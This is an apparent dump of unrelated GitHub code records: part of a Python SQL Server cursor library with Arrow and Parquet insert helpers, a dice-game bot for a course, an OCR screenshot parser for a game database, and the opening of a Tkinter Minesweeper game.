row_terminator=\"\\n\",\n field_quote='\"',\n datafile_type=\"char\",\n first_row=2,\n tablock=tablock,\n **bulk_options\n )\n finally:\n os.remove(tmp_file)\n else:\n # iterate on record batches\n for batch in data:\n self.bulk_insert_arrow(\n table,\n batch,\n base_dir=base_dir,\n cast=cast,\n safe=safe,\n commit=commit,\n delimiter=delimiter,\n file_format=file_format,\n tablock=tablock,\n **bulk_options\n )\n\n def insert_arrow(\n self,\n table: Union[str, \"SQLTable\"],\n data: ArrowData,\n cast: bool = True,\n safe: bool = DEFAULT_SAFE_MODE,\n stmt: str = \"\",\n commit: bool = True,\n bulk: bool = False,\n tablock: bool = False,\n commit_size: int = 1,\n check_constraints: bool = True,\n delayed_check_constraints: bool = False,\n batch_apply: Callable[[RecordBatch], RecordBatch] = return_iso,\n retry: int = 0,\n **insert_options: dict[str, Union[str, int, bool]]\n ):\n table = self.safe_table_or_view(table)\n\n if delayed_check_constraints or not check_constraints:\n self.disable_table_all_constraints(table)\n\n try:\n if bulk:\n return self.bulk_insert_arrow(\n table=table,\n data=data,\n cast=cast,\n safe=safe,\n tablock=tablock,\n **insert_options\n )\n if cast:\n data = cast_arrow(data, table.schema_arrow, safe, fill_empty=False, drop=True)\n\n if isinstance(data, (RecordBatch, Table)):\n return self.insert_pylist(\n table,\n [tuple(row.values()) for row in prepare_insert_batch(batch_apply(data)).to_pylist()],\n data.schema.names,\n stmt=stmt,\n commit=commit,\n tablock=tablock,\n commit_size=commit_size,\n retry=retry\n )\n elif isinstance(data, RecordBatchReader):\n commit_size = self.safe_commit_size(commit_size, len(data.schema.names))\n stmt = prepare_insert_batch_statement(\n table, data.schema.names, tablock=tablock, commit_size=commit_size\n )\n\n for batch in data:\n self.insert_pylist(\n table,\n [tuple(row.values()) for row in prepare_insert_batch(batch_apply(batch)).to_pylist()],\n batch.schema.names,\n stmt=stmt,\n commit=commit,\n tablock=tablock,\n commit_size=commit_size,\n retry=retry\n )\n else:\n for batch in data:\n self.insert_pylist(\n table,\n [tuple(row.values()) for row in prepare_insert_batch(batch_apply(batch)).to_pylist()],\n batch.schema.names,\n stmt=stmt,\n commit=commit,\n tablock=tablock,\n commit_size=commit_size,\n retry=retry\n )\n finally:\n if delayed_check_constraints:\n self.enable_table_all_constraints(table, check=check_constraints)\n\n # Parquet insert\n def insert_parquet_file(\n self,\n table: Union[str, \"SQLTable\"],\n source: Union[ParquetFile, str, Path, NativeFile],\n batch_size: int = DEFAULT_ARROW_BATCH_ROW_SIZE,\n buffer_size: int = 0,\n cast: bool = True,\n safe: bool = DEFAULT_SAFE_MODE,\n commit: bool = True,\n filesystem: FileSystem = LocalFileSystem(),\n coerce_int96_timestamp_unit: str = None,\n use_threads: bool = True,\n exclude_columns: list[str] = (),\n file_filters: Optional[Union[list[list[tuple]], list[tuple]]] = None,\n **insert_arrow: dict\n ):\n \"\"\"\n Insert data from parquet file with pyarrow methods\n\n :param table: name or SQLTable\n :param source: pyarrow.parquet.ParquetFile, or something to build it\n See https://arrow.apache.org/docs/python/generated/pyarrow.parquet.ParquetFile.html#pyarrow.parquet.ParquetFile\n :param batch_size:\n :param buffer_size:\n :param cast:\n :param safe:\n :param commit:\n :param filesystem:\n :param coerce_int96_timestamp_unit:\n :param use_threads:\n :param exclude_columns: list of column names to exclude from parquet read\n :param file_filters: pyarrow.parquet.read_table filters option\n See https://arrow.apache.org/docs/python/generated/pyarrow.parquet.read_table.html\n :param insert_arrow: self.insert_arrow options\n :return: insert_arrow rtype\n \"\"\"\n if isinstance(source, ParquetFile):\n table = self.safe_table_or_view(table)\n\n if exclude_columns:\n exclude_columns = [get_field(source.schema_arrow, _).name for _ in exclude_columns]\n input_schema = schema(\n [f for f in source.schema_arrow if f.name not in exclude_columns],\n source.schema_arrow.metadata\n )\n else:\n input_schema = source.schema_arrow\n input_schema = intersect_schemas(input_schema, table.schema_arrow.names)\n\n self.insert_arrow(\n table=table,\n data=RecordBatchReader.from_batches(\n input_schema,\n source.iter_batches(\n batch_size=batch_size,\n columns=input_schema.names,\n use_threads=use_threads\n )\n ),\n cast=cast,\n safe=safe,\n commit=commit,\n **insert_arrow\n )\n elif isinstance(source, str):\n if file_filters:\n data: Table = read_table(\n source,\n coerce_int96_timestamp_unit=coerce_int96_timestamp_unit,\n buffer_size=buffer_size,\n filesystem=filesystem,\n filters=file_filters,\n use_threads=use_threads\n )\n if exclude_columns:\n data = data.drop(exclude_columns)\n\n self.insert_arrow(\n table=table,\n data=data,\n cast=cast,\n safe=safe,\n commit=commit,\n **insert_arrow\n )\n else:\n with filesystem.open_input_file(source) as f:\n self.insert_parquet_file(\n table=table,\n source=ParquetFile(\n f,\n buffer_size=buffer_size,\n coerce_int96_timestamp_unit=coerce_int96_timestamp_unit\n ),\n batch_size=batch_size,\n buffer_size=buffer_size,\n cast=cast,\n safe=safe,\n commit=commit,\n filesystem=filesystem,\n use_threads=use_threads,\n exclude_columns=exclude_columns,\n **insert_arrow\n )\n else:\n self.insert_parquet_file(\n table=table,\n source=ParquetFile(\n source,\n buffer_size=buffer_size,\n coerce_int96_timestamp_unit=coerce_int96_timestamp_unit\n ),\n batch_size=batch_size,\n buffer_size=buffer_size,\n cast=cast,\n safe=safe,\n commit=commit,\n filesystem=filesystem,\n use_threads=use_threads,\n exclude_columns=exclude_columns,\n **insert_arrow\n )\n return source\n\n def insert_parquet_dir(\n self,\n table: Union[str, \"SQLTable\"],\n base_dir: str,\n recursive: bool = False,\n allow_not_found: bool = False,\n batch_size: int = DEFAULT_ARROW_BATCH_ROW_SIZE,\n buffer_size: int = 0,\n cast: bool = True,\n safe: bool = DEFAULT_SAFE_MODE,\n commit: bool = True,\n filesystem: FileSystem = LocalFileSystem(),\n coerce_int96_timestamp_unit: str = None,\n use_threads: bool = True,\n exclude_columns: list[str] = (),\n file_inspector: Optional[Callable[[FileInfo], None]] = None,\n **insert_parquet_file_options: dict\n ):\n \"\"\"\n Insert data from parquet iterating over files, sub dir files with pyarrow methods\n\n :param table: name or SQLTable\n :param base_dir:\n :param recursive: recursive fetch files, set True to fetch all files in sub dirs\n :param allow_not_found:\n :param batch_size: number of rows for batch\n :param buffer_size:\n :param cast:\n :param safe:\n :param commit:\n :param filesystem: pyarrow FileSystem object\n :param coerce_int96_timestamp_unit:\n :param use_threads:\n :param exclude_columns: list of column names to exclude from parquet read\n :param file_inspector: Callable[[FileInfo], None]\n :param insert_parquet_file_options: other self.insert_parquet_file options\n \"\"\"\n table = self.safe_table_or_view(table)\n\n for ofs in filesystem.get_file_info(\n FileSelector(base_dir, allow_not_found=allow_not_found, recursive=recursive)\n ):\n # \n # or \n if ofs.type == FileType.File:\n if ofs.size > 0:\n self.insert_parquet_file(\n table=table,\n source=ofs.path,\n batch_size=batch_size,\n buffer_size=buffer_size,\n cast=cast,\n safe=safe,\n commit=commit,\n filesystem=filesystem,\n coerce_int96_timestamp_unit=coerce_int96_timestamp_unit,\n use_threads=use_threads,\n exclude_columns=exclude_columns,\n **insert_parquet_file_options\n )\n if callable(file_inspector):\n file_inspector(ofs)\n elif ofs.type == FileType.Directory:\n self.insert_parquet_dir(\n table=table,\n base_dir=ofs.path,\n batch_size=batch_size,\n buffer_size=buffer_size,\n cast=cast,\n safe=safe,\n commit=commit,\n filesystem=filesystem,\n coerce_int96_timestamp_unit=coerce_int96_timestamp_unit,\n use_threads=use_threads,\n exclude_columns=exclude_columns,\n file_inspector=file_inspector,\n **insert_parquet_file_options\n )\n\n # Foreign Keys\n def table_fk(self):\n return self.execute(\"\"\"select schema_name(fk_tab.schema_id) + '.' + fk_tab.name as foreign_table,\n 'Table',\n 'Foreign key',\n fk.name as fk_constraint_name,\n pk_tab.name as primary_key\nfrom sys.foreign_keys fk\n inner join sys.tables fk_tab\n on fk_tab.object_id = fk.parent_object_id\n inner join sys.tables pk_tab\n on pk_tab.object_id = fk.referenced_object_id\n inner join sys.foreign_key_columns fk_cols\n on fk_cols.constraint_object_id = fk.object_id\"\"\").fetchall()\n\n # config statements\n def set_identity_insert(self, table: \"msa.table.SQLTable\", on: bool = True):\n self.execute(\"SET IDENTITY_INSERT %s %s\" % (table, \"ON\" if on else \"OFF\"))\n\n @property\n def nocount(self) -> bool:\n return self.__nocount\n\n @nocount.setter\n def nocount(self, on: bool):\n self.set_nocount(on)\n self.__nocount = on\n\n def set_nocount(self, on: bool = True):\n self.execute(\"SET NOCOUNT %s\" % 'ON' if on else 'OFF')\n\n def create_table_index(\n self,\n table: \"msa.table.SQLTable\",\n name: str = \"\",\n type: str = \"\",\n columns: list[str] = ()\n ):\n \"\"\"\n See https://learn.microsoft.com/en-us/sql/t-sql/statements/create-index-transact-sql?view=sql-server-ver16\n\n \"CREATE %s INDEX [%s] ON %s.%s.%s (%s)\" % (\n type,\n name if name else \"IDX:%s\" % (\":\".join(columns)),\n table.catalog, table.schema, table.name,\n \",\".join(columns)\n )\n :param table: msa.table.SQLTable\n :param name: index name\n :param type:\n :param columns: column names\n \"\"\"\n self.execute(\n \"CREATE %s INDEX [%s] ON %s.%s.%s (%s)\" % (\n type,\n name if name else \"IDX:%s\" % (\":\".join(columns)),\n table.catalog, table.schema, table.name,\n \",\".join(columns)\n )\n )\n self.commit()\n\n def drop_table_index(self, table: \"msa.table.SQLTable\", name: str):\n self.execute(\"DROP INDEX [%s] ON %s\" % (name, table))\n self.commit()\n\n def disable_table_index(self, table: \"msa.table.SQLTable\", name: str):\n self.execute(\"ALTER INDEX [%s] ON %s DISABLE\" % (name, table))\n self.commit()\n\n def disable_table_all_indexes(\n self,\n table: \"msa.table.SQLTable\",\n except_primary_key: bool = False\n ):\n if except_primary_key:\n return self.disable_table_indexes(\n table,\n [name for name in table.indexes.keys() if not name.startswith(\"PK__\")]\n )\n else:\n self.execute(\"ALTER INDEX ALL ON %s DISABLE\" % table)\n self.commit()\n\n def disable_table_indexes(self, table: \"msa.table.SQLTable\", names: list[str]):\n self.execute(\";\".join((\n \"ALTER INDEX [%s] ON %s DISABLE\" % (name, table)\n for name in names\n )))\n self.commit()\n\n def rebuild_table_index(self, table: \"msa.table.SQLTable\", name: str):\n self.execute(\"ALTER INDEX [%s] ON %s REBUILD\" % (name, table))\n self.commit()\n\n def rebuild_table_all_indexes(self, table: \"msa.table.SQLTable\"):\n self.execute(\"ALTER INDEX ALL ON %s REBUILD\" % table.full_name)\n self.commit()\n\n # Constraints\n def enable_table_all_constraints(self, table: \"msa.table.SQLTable\", check: bool = True):\n self.execute(\"ALTER TABLE %s CHECK CONSTRAINT ALL;ALTER TABLE %s WITH %sCHECK CHECK CONSTRAINT ALL\" % (\n table.full_name, table.full_name, \"\" if check else \"NO\"\n ))\n self.commit()\n\n def disable_table_all_constraints(self, table: \"msa.table.SQLTable\"):\n self.execute(\"ALTER TABLE %s NOCHECK CONSTRAINT ALL\" % table.full_name)\n self.commit()\n","repo_name":"Platob/msa","sub_path":"msa/cursor.py","file_name":"cursor.py","file_ext":"py","file_size_in_byte":32768,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"74852486643","text":"# Automatic Zacate game player\n# B551 Fall 2015\n# Sagar Bhadare ID: sagabhan@indiana.edu\n#\n# Based on skeleton code by D. Crandall\n#\n#\n\n'''\n\nA brief report on the program:\n\nRun Command: python zecate.py\nInput parameters: none\nExpected sample output:\nMin/max/mean scores: 131 323 214.36\n\nAlgorithm: Expectation based algorithm\n\n\nThe algorithm calculates the current as well as expected score for all available categories.\nThe expected score is given as E(x) = x * P(x)\nThat is, probability of X being max * score at max\n\nThen the comparison is performed between all the expected scores and maximum is chosen for re-roll or scoring.\n\nAlgo ExpectiZecate\n\nDice <- Current rolled dices\nScore_Board <- Current score board\nNumbers = { \"unos\" , \"doses\" , \"treses\" , \"cuatros\" , \"cincos\" , \"seises\" }\nExpValues = []\n\n\nFor each category in Numbers:\n if category is available:\n count <- max occurrence\n\n Exp1 = get current + expected score and dices to re-roll for max(count)\n\nif bonus available:\n increase Exp1 score\nadd Exp1 to ExpValues\n\nfor each of remaining categories:\n\n if category available:\n Exp <- current + expected score for category, dices to re-roll for max score\n add Exp to ExpValues\n\nmaxExp <- max(ExpValues)\n\nif lastRole:\n return category of maxExp\nelse:\n return re-roll of maxExp\n\n\nAverage Score Achieved : for 500 runs\n\n1 Min/max/mean scores: 118 293 206.25\n2 Min/max/mean scores: 123 315 207.12\n3 Min/max/mean scores: 126 314 209.64\n4 Min/max/mean scores: 117 326 212.02\n5 Min/max/mean scores: 113 309 210.01\n'''\n\nfrom copy import deepcopy\nfrom ZacateState import Dice\nfrom ZacateState import Scorecard\nimport random\n\n\nclass Expectation:\n def __init__(self, cat, score, re_roll):\n self.cat = cat\n self.score = score\n self.re_roll = re_roll\n\n\nclass ZacateAutoPlayer:\n def __init__(self):\n self.cats = {\"seises\": 6, \"cincos\": 5, \"cuatros\": 4, \"treses\": 3, \"doses\": 2, \"unos\": 1}\n self.mapping = {6: \"seises\", 5: \"cincos\", 4: \"cuatros\", 3: \"treses\", 2: \"doses\", 1: \"unos\"}\n self.is_last_roll = False # True when last roll is complete\n\n def first_roll(self, dice, scorecard):\n self.is_last_roll = False\n return self.get_next_roll(dice, scorecard)\n\n def second_roll(self, dice, scorecard):\n self.is_last_roll = False\n return self.get_next_roll(dice, scorecard)\n\n def third_roll(self, dice, scorecard):\n self.is_last_roll = True\n return self.get_cat(dice, scorecard)\n\n def get_dice_count(self, dice, value):\n return str(dice).count(str(value))\n\n def get_not_matching_pos(self, dice, value): # get the dices not matching to given values\n\n nomatch = []\n for i, val in enumerate(dice.dice):\n if val != value:\n nomatch.append(i)\n return nomatch\n\n def get_matching_pos(self, dice, value): # get the dices matching to given values\n\n match = []\n for i, val in enumerate(dice.dice):\n if val == value:\n match.append(i)\n return match\n\n def get_expectation_values(self, dice, scorecard): # calculates the expected value of dices for each category\n expectation_values = []\n total = scorecard.totalscore # current total score\n\n counts = []\n maps = {}\n cat = ''\n firstSixCats = len(\n set(self.cats.keys()) - set(scorecard.scorecard.keys())) # number of available categories from first six\n totalCats = len(set(scorecard.scorecard.keys())) # total available categories\n\n for key in set(self.cats.keys()) - set(scorecard.scorecard.keys()):\n val = self.cats.get(key)\n count = self.get_dice_count(dice, val)\n counts.append(count)\n maps[count] = key\n max_occurance = max(counts)\n\n if firstSixCats > 0:\n cat = maps.get(max_occurance) # get the category for dice having maximum count\n\n if cat not in scorecard.scorecard:\n exp = self.get_hexa_exp(cat, dice)\n\n if max_occurance >= 3 and not scorecard.bonusflag: # if bonus is still available increse \\\\\n # the expected score for first six categories\n exp.score += 5\n\n expectation_values.append(exp)\n\n if \"quintupulo\" not in scorecard.scorecard:\n exp = self.get_quintupulo_exp(dice)\n expectation_values.append(exp)\n\n if \"pupusa de queso\" not in scorecard.scorecard:\n exp = self.get_pupusa_de_queso_exp(dice)\n expectation_values.append(exp)\n\n if \"pupusa de frijol\" not in scorecard.scorecard:\n exp = self.get_pupusa_de_frijol_exp(dice)\n expectation_values.append(exp)\n\n if \"elote\" not in scorecard.scorecard:\n exp = self.check_Elote(dice)\n expectation_values.append(exp)\n\n if \"triple\" not in scorecard.scorecard:\n exp = self.get_triple_exp(dice)\n expectation_values.append(exp)\n\n if \"cuadruple\" not in scorecard.scorecard:\n exp = self.get_cuadruple_exp(dice)\n expectation_values.append(exp)\n\n if \"tamal\" not in scorecard.scorecard and (sum(\n dice.dice) > 20 or totalCats > 11): # approach tamal only if score is hihg or no less categories remaining\n exp = self.get_tamal_exp(dice)\n expectation_values.append(exp)\n\n return expectation_values\n\n def get_next_roll(self, dice, scorecard): # gives next dices to roll for round 2 and round 3\n\n expectation_values = self.get_expectation_values(dice, scorecard)\n\n maxScore = -1 # current max expected score\n nextRoll = [] # dices to re-roll\n\n for exp in expectation_values:\n if exp.score > maxScore:\n maxScore = exp.score\n nextRoll = deepcopy(exp.re_roll)\n\n return nextRoll\n\n def get_cat(self, dice, scorecard): # get category for which the score should be assigned\n\n expectation_values = self.get_expectation_values(dice, scorecard)\n\n maxScore = -1\n next_cat = ''\n\n for exp in expectation_values:\n if exp.score > maxScore:\n maxScore = exp.score\n next_cat = exp.cat\n\n if next_cat == '': # if no category matched, assign to random from available\n next_cat = random.choice(list(set(Scorecard.Categories) - set(scorecard.scorecard.keys())))\n\n return next_cat\n\n def get_pupusa_de_queso_exp(self, dice):\n cat = \"pupusa de queso\"\n dice_values = str(dice)\n dice_values = dice_values.replace(\" \", \"\")\n all_values = [0, 1, 2, 3, 4]\n\n in_place_15 = []\n\n for i in range(1, 6): # check for 12345 combination\n pos = dice_values.find(str(i))\n if pos != -1:\n in_place_15.append(dice_values.index(str(i)))\n\n in_place_26 = []\n if len(in_place_15) != 5:\n for i in range(2, 7): # check for 23456 combination\n pos = dice_values.find(str(i))\n if pos != -1:\n in_place_26.append(dice_values.index(str(i)))\n\n re_roll = []\n current_score = 0\n if len(in_place_15) > len(in_place_26):\n re_roll = list(set(all_values) - set(in_place_15))\n else:\n re_roll = list(set(all_values) - set(in_place_26))\n\n if len(re_roll) == 0:\n current_score = 40\n elif not self.is_last_roll: # add expected score to the current score\n current_score += pow(0.1667, len(re_roll))\n\n return Expectation(cat, current_score, re_roll)\n\n def check_Elote(self, dice):\n counts = [dice.dice.count(i) for i in range(1, 7)]\n cat = \"elote\"\n current_score = 0\n re_roll = []\n if 3 in counts and 2 in counts:\n current_score = 25\n else:\n max_occurance = counts.index(max(counts))\n max_occurance += 1\n current_score = max(counts)\n\n for i, val in enumerate(dice.dice):\n if val != max_occurance:\n re_roll.append(i)\n\n return Expectation(cat, current_score, re_roll)\n\n def get_triple_exp(self, dice):\n counts = [dice.dice.count(i) for i in range(1, 7)]\n cat = \"triple\"\n current_score = 0\n re_roll = []\n if max(counts) >= 3:\n current_score = sum(dice.dice)\n else:\n current_score = max(counts)\n\n max_occurance = counts.index(max(counts))\n max_occurance += 1\n\n for i, val in enumerate(dice.dice):\n if val != max_occurance:\n re_roll.append(i)\n\n return Expectation(cat, current_score, re_roll)\n\n def get_cuadruple_exp(self, dice):\n counts = [dice.dice.count(i) for i in range(1, 7)]\n cat = \"cuadruple\"\n current_score = 0\n re_roll = []\n if max(counts) >= 4:\n current_score = sum(dice.dice)\n else:\n current_score = max(counts)\n\n max_occurance = counts.index(max(counts))\n max_occurance += 1\n\n for i, val in enumerate(dice.dice):\n if val != max_occurance:\n if max(counts) >= 4 and val > 3: # re-roll the last dice only if it is less than 3\n continue\n re_roll.append(i)\n\n return Expectation(cat, current_score, re_roll)\n\n def get_tamal_exp(self, dice):\n counts = [dice.dice.count(i) for i in range(1, 7)]\n cat = \"tamal\"\n current_score = 0\n re_roll = []\n if counts[0] > 0:\n re_roll = self.get_matching_pos(dice, 1)\n\n if counts[1] > 0:\n re_roll = re_roll + self.get_matching_pos(dice, 2)\n\n current_score = sum(dice.dice)\n return Expectation(cat, current_score, re_roll)\n\n def get_quintupulo_exp(self, dice):\n counts = [dice.dice.count(i) for i in range(1, 7)]\n cat = \"quintupulo\"\n current_score = 0\n re_roll = []\n if 5 in counts:\n current_score = 50\n else:\n max_occurance = counts.index(max(counts))\n max_occurance += 1\n for i, val in enumerate(dice.dice):\n if val != max_occurance:\n re_roll.append(i)\n current_score += pow(0.1667, len(re_roll)) * 50 # add expected score based on probability of all in place\n\n return Expectation(cat, current_score, re_roll)\n\n def get_pupusa_de_frijol_exp(self, dice):\n cat = \"pupusa de frijol\"\n dice_values = str(dice)\n dice_values = dice_values.replace(\" \", \"\")\n all_values = [0, 1, 2, 3, 4]\n current_score = 0\n\n in_place_14 = []\n\n for i in range(1, 5):\n pos = dice_values.find(str(i))\n if pos != -1:\n in_place_14.append(dice_values.index(str(i)))\n\n in_place_25 = []\n if len(in_place_14) != 4:\n for i in range(2, 6):\n pos = dice_values.find(str(i))\n if pos != -1:\n in_place_25.append(dice_values.index(str(i)))\n\n in_place_36 = []\n if len(in_place_14) != 4 and len(in_place_25) != 4:\n for i in range(3, 7):\n pos = dice_values.find(str(i))\n if pos != -1:\n in_place_36.append(dice_values.index(str(i)))\n\n maxLen = max(len(in_place_14), len(in_place_25), len(in_place_36))\n\n re_roll = []\n\n if maxLen == len(in_place_14):\n re_roll = list(set(all_values) - set(in_place_14))\n elif maxLen == len(in_place_25):\n re_roll = list(set(all_values) - set(in_place_25))\n else:\n re_roll = list(set(all_values) - set(in_place_36))\n\n if len(re_roll) == 1:\n current_score = 30\n\n exp = current_score\n\n if not self.is_last_roll:\n exp += (len(re_roll) * (1 / 6) + maxLen / 4) * 30 # add expected score based on x*P(x)\n\n return Expectation(cat, exp, re_roll)\n\n def get_hexa_exp(self, cat, dice):\n\n dice_val = self.cats.get(cat)\n\n # calcualte expectation for given category\n in_place = self.get_dice_count(dice, dice_val)\n currentscore = in_place * dice_val\n re_roll = self.get_not_matching_pos(dice, dice_val)\n prob_reroll = len(re_roll) * 1.0 / 6\n exp = currentscore\n if not self.is_last_roll: # add expected score based on x*P(x)\n exp += prob_reroll * dice_val\n\n return Expectation(cat, exp, re_roll)\n","repo_name":"bhandaresagar/probability-zecate-game-bot","sub_path":"ZacateAutoPlayer.py","file_name":"ZacateAutoPlayer.py","file_ext":"py","file_size_in_byte":12641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14151363029","text":"from queue import Full\nimport sys\nsys.path.append('C:\\\\Users\\\\peter\\\\AppData\\\\Local\\\\Packages\\\\pythonsoftwarefoundation.python.3.9_qbz5n2kfra8p0\\\\localcache\\\\local-packages\\\\python39\\\\site-packages')\n\nimport numpy\nimport cv2\nimport pytesseract\nimport os\n\n\n\n# 1560, 300 \\ 1840, 630\n# -> 300:330, 1560:280 \n# 1260, 400 \\ 1540, 765\n# -> 400:365, 1260:280\n\nTESS_PATH = sys.argv[2] + \"tessbin\"\nos.environ[\"TESSDATA_PREFIX\"] = TESS_PATH + \"\\\\tessdata\\\\\"\npytesseract.pytesseract.tesseract_cmd = TESS_PATH + \"\\\\tesseract\"\n\ndef unsharp_mask(image, kernel_size=(5, 5), sigma=1.0, amount=8.0, threshold=0.3):\n \"\"\"Return a sharpened version of the image, using an unsharp mask.\"\"\"\n #print(type(image))\n blurred = cv2.GaussianBlur(image, kernel_size, sigma)\n sharpened = float(amount + 1) * image - float(amount) * blurred\n sharpened = numpy.maximum(sharpened, numpy.zeros(sharpened.shape))\n sharpened = numpy.minimum(sharpened, 255 * numpy.ones(sharpened.shape))\n sharpened = sharpened.round().astype(numpy.uint8)\n if threshold > 0:\n low_contrast_mask = numpy.absolute(image - blurred) < threshold\n numpy.copyto(sharpened, image, where=low_contrast_mask)\n return sharpened\n\ndef thin_font(image):\n kernel = numpy.ones((3,3),numpy.uint8)\n erode = cv2.erode(image, kernel, iterations=1)\n return (erode)\n\n\nclass ImageParser:\n def __init__(self):\n self.resize_scale = 5\n \n def parse_screenshot(self, fullscreen_image, primary, melee):\n crops = self.crop_fullscreen(fullscreen_image, primary, melee)\n for crop in crops:\n print(\"=\" * 5, crop[0], \"=\" * 5)\n data = \"\"\n\n if crop[0] == \"General2\":\n data = self.text_from_image(crop[1], \"true\", melee)\n data = self.text_from_image(crop[1], \"false\", melee)\n\n print(data + \"\\n\")\n #file1 = open(r\"dataOut.txt\",\"w\")\n #file1.write(data)\n \n def crop_fullscreen(self, fullscreen_image, primary, melee):\n if type(fullscreen_image) is str:\n fullscreen_image = cv2.imread(fullscreen_image)\n\n crops = []\n \n\n if primary == \"True\": #primaries\n \n w_crop = fullscreen_image[160:370,1560:1840]\n y_crop = fullscreen_image[430:640, 1560:1840]\n\n v_crop = fullscreen_image[70:280, 1560:1840]\n b_crop = fullscreen_image[130:335, 1260:1540]\n a_crop = fullscreen_image[380:585, 1260:1540]\n c_crop = fullscreen_image[580:785, 1260:1540]\n \n crops.append((\"Top\", v_crop))\n crops.append((\"General1\", w_crop))\n crops.append((\"General2\", y_crop))\n crops.append((\"Ballistics\", b_crop))\n crops.append((\"Advanced1\", a_crop))\n crops.append((\"Advanced2\", c_crop))\n\n print(\"hi im a primary\\n\")\n\n elif primary == \"False\": #secondaries\n\n w_crop = fullscreen_image[160:350, 1560:1840]\n y_crop = fullscreen_image[420:600, 1560:1840]\n \n v_crop = fullscreen_image[70:280, 1560:1840]\n b_crop = fullscreen_image[130:335, 1260:1540]\n a_crop = fullscreen_image[380:585, 1260:1540]\n c_crop = fullscreen_image[580:785, 1260:1540]\n \n crops.append((\"Top\", v_crop))\n crops.append((\"General1\", w_crop))\n crops.append((\"General2\", y_crop))\n crops.append((\"Ballistics\", b_crop))\n crops.append((\"Advanced1\", a_crop))\n crops.append((\"Advanced2\", c_crop))\n\n print(\"hi im a secondary\\n\")\n\n else:\n if melee == \"True\": #melees\n #do something\n s_crop = fullscreen_image[0:180,1560:1840]\n k_crop = fullscreen_image[180:380,1560:1840]\n x_crop = fullscreen_image[380:580,1560:1840]\n \n crops.append((\"Top\", s_crop))\n crops.append((\"General1\", k_crop))\n crops.append((\"General2\", x_crop))\n\n elif melee == \"False\": #grenades\n r_crop = fullscreen_image[80:260, 1560:1840]\n j_crop = fullscreen_image[215:430, 1560:1840] #can be changed to 230\n \n crops.append((\"Top\", r_crop))\n crops.append((\"General\", j_crop))\n \n\n proofread_crop = fullscreen_image[20:800, 1200:1880]\n cv2.imwrite((\"cropped__\"+sys.argv[6]+\"__\"+sys.argv[5]),proofread_crop)\n #160:370\n \n\n #500:700\n return crops\n\n \n \n def text_from_image(self, image, general2, melee):\n if type(image) is str:\n image = cv2.imread(image)\n print(type(image))\n if image.size is 0:\n return \"[OCR] Empty Image\"\n bw = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n dim = (int(bw.shape[0] * (self.resize_scale + 4)), int(bw.shape[1] * self.resize_scale))\n resize = cv2.resize(bw, dim, interpolation=cv2.INTER_AREA)\n\n #process = unsharp_mask(resize)\n process1 = cv2.cvtColor( resize, cv2.COLOR_GRAY2BGR)\n\n lab= cv2.cvtColor(process1, cv2.COLOR_BGR2LAB)\n l_channel, a, b = cv2.split(lab)\n\n # Applying CLAHE to L-channel\n # feel free to try different values for the limit and grid size:\n clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\n cl = clahe.apply(l_channel)\n\n # merge the CLAHE enhanced L-channel with the a and b channel\n limg = cv2.merge((cl,a,b))\n\n # Converting image from LAB Color model to BGR color spcae\n enhanced_img = cv2.cvtColor(limg, cv2.COLOR_LAB2BGR)\n process2 = cv2.cvtColor(enhanced_img, cv2.COLOR_BGR2GRAY)\n\n #sharpen_filter = np.array([[0, -1, 0], [-1, 5, -1], [0, -1, 0]])\n #kernel = np.array([[-1,-1,-1], [-1,9,-1], [-1,-1,-1]])\n #sharped_img = cv2.filter2D(resize, -1, kernel)\n #print(type(resize))\n sharpened_img = cv2.bilateralFilter(process2,9,75,75)\n thresh, im_bw = cv2.threshold(sharpened_img, 130, 255, cv2.THRESH_BINARY )\n eroded = thin_font(im_bw)\n cv2.imwrite((\"output__\"+sys.argv[6]+\"__sharpened__\"+sys.argv[5]+\".png\"), sharpened_img)\n cv2.imwrite((\"output__\"+sys.argv[6]+\"__binaryfilter__\"+sys.argv[5]+\".png\"), im_bw)\n cv2.imwrite((\"output__\"+sys.argv[6]+\"__eroded__\"+sys.argv[5]+\".png\"),eroded)\n data = \"\"\n if general2 == \"true\" or not melee==\"True\" or not melee==\"False\": #or melee==\"False\"\n data = pytesseract.image_to_string(eroded, config=\"--psm 6\")\n else:\n data = pytesseract.image_to_string(im_bw, config=\"--psm 6\")\n\n\n return data\n\nprint(\"hi im python\\n\")\nprint(sys.argv[0] + \"\\n\" + sys.argv[1] + \"\\n\" + sys.argv[2] + \"\\n\" + sys.argv[3] + \"\\n\" + sys.argv[4] + \"\\n\" + sys.argv[5] + \"\\n\" + sys.argv[6])\nparser = ImageParser()\nparser.parse_screenshot(sys.argv[1], sys.argv[3], sys.argv[4])","repo_name":"coderUser141/PhantomForcesDatabase","sub_path":"ImageParser/ImageParser.py","file_name":"ImageParser.py","file_ext":"py","file_size_in_byte":6952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15035619829","text":"from tkinter import *\nfrom utils import *\nfrom settings import *\nfrom cell import Cell\nimport sys\n\n\nclass Minesweeper:\n def __init__(self):\n # root\n self.root = Tk()\n self.root.title(\"MineSweeper\")\n self.root.geometry(f\"{SCREEN_WIDTH}x{SCREEN_HEIGHT}\")\n self.root.configure(bg=\"#111\")\n self.root.resizable(False, False)\n images = self.get_images()\n info = load()\n\n # Widgets definitions\n self.frame_top = Frame(self.root, bg=\"#222\", width=width_percentage(100), height=height_percentage(20))\n self.frame_left = Frame(self.root, bg=\"#111\", width=width_percentage(40), height=height_percentage(80))\n self.frame_right = Frame(self.root, bg=\"#ddd\", width=width_percentage(60), height=height_percentage(20))\n self.lbl_time = Label(self.frame_top, font=(\"Helvetica\", 24, \"bold\"), text=\"Time: 00:00\", fg=\"#fff\", bg=\"#222\")\n self.lbl_flags = Label(self.frame_top, font=(\"Helvetica\", 24, \"bold\"), text=f\"Flags: {FLAGS_COUNT}\", fg=\"#fff\", bg=\"#222\")\n self.btn_exit = Button(self.frame_left, font=(\"Helvetica\", 24), text=\"Exit\", fg=\"#fff\", bg=\"#000\", width=8, command=lambda: sys.exit(1))\n self.btn_restart = Button(self.frame_left, font=(\"Helvetica\", 24), text=\"Restart\", fg=\"#fff\", bg=\"#000\", width=8, command=lambda: Cell.restart(cell))\n self.lbl_games_won = Label(self.frame_left, font=(\"Helvetica\", 20), text=f\"Games won:\\n{info['games won']}\", 